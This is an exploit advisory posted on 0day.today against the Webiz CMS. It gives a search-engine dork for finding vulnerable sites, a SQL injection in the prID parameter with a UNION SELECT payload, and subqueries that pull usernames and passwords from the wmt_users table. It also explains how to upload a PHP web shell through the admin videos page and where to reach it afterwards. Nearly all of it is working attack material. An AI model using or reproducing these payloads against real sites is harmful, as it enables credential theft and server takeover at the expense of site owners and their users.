Webiz SQL Injection / SHELL Upload Vulnerability

================================================
Webiz SQL Injection / SHELL Upload Vulnerability
================================================

    ============================================================================
                                                     INFORMATIONS
    ============================================================================
    ==   Developers : www.webiz.gr
    ==   vulner     : SQL INJECTION
    ==   Bug        : ../wmt/webpages/index.php
    ==   Variable1  : &prID=
    ==   Variable2  : &apprec=
    ==
    ==   dork       : Powered by Webiz inurl:'wmt/webpages'
    ==
    ============================================================================
 
     
    ============================================================================
                                                           EXPLOIT
    ============================================================================
    ==
    ==  Dork     : Powered by Webiz inurl:'wmt/webpages'
    ==
    ==  URL      : ../wmt/webpages/index.php?lid=&pid=&prID=[Injection Here]
    ==
    ==  Demo    : http://localhost/wmt/webpages/index.php?lid=&pid=&prID=999.9'
    ==
    ==  exploit  : index.php?lid=&pid=&prID=-999.9/**/UNION/**/ALL/**/SELECT/**/1,2,3...,20--
    ==
    ==  database : MySQL 5
    ==
    ++
    ==
    ==  *** Insert This Code in THE VALID COLUMN ***
    ++               +
    ==  *** CHANGE [DATABASE_NAME] ***
    ==
    ==
    ==
    ==
    ==  USERNAME
    == 
    ==  (SELECT/**/concat(cast(wmt_users.Username/**/as/**/char))/**/FROM/**/[DATABASE_NAME].wmt_users/**/LIMIT/**/0,1)
    == 
    ==
    ==
    ==  USER PASSWORD
    == 
    == (SELECT/**/concat(cast(wmt_users.UserPassword/**/as/**/char))/**/FROM/**/[DATABASE_NAME].wmt_users/**/LIMIT/**/0,1)
    ==

==  -------------------------------------------
==  *** YOU MUST HAVE A ADMINISTRATOR RIGHT ***
==  -------------------------------------------
==
==  BUG
==  ../wmt/siteadmin/videos.php
==
==
==
==  PHP file Upload
== 
==
==
==  upload your shell from here
==  http://[localhost]/wmt/siteadmin/videos.php >> shell.php
==
==
==
==  Get it
==  http://[localhost]/wmt/userfiles/Media/videos/shell.php

    =============================================================================

#  0day.today [2018-03-01]  #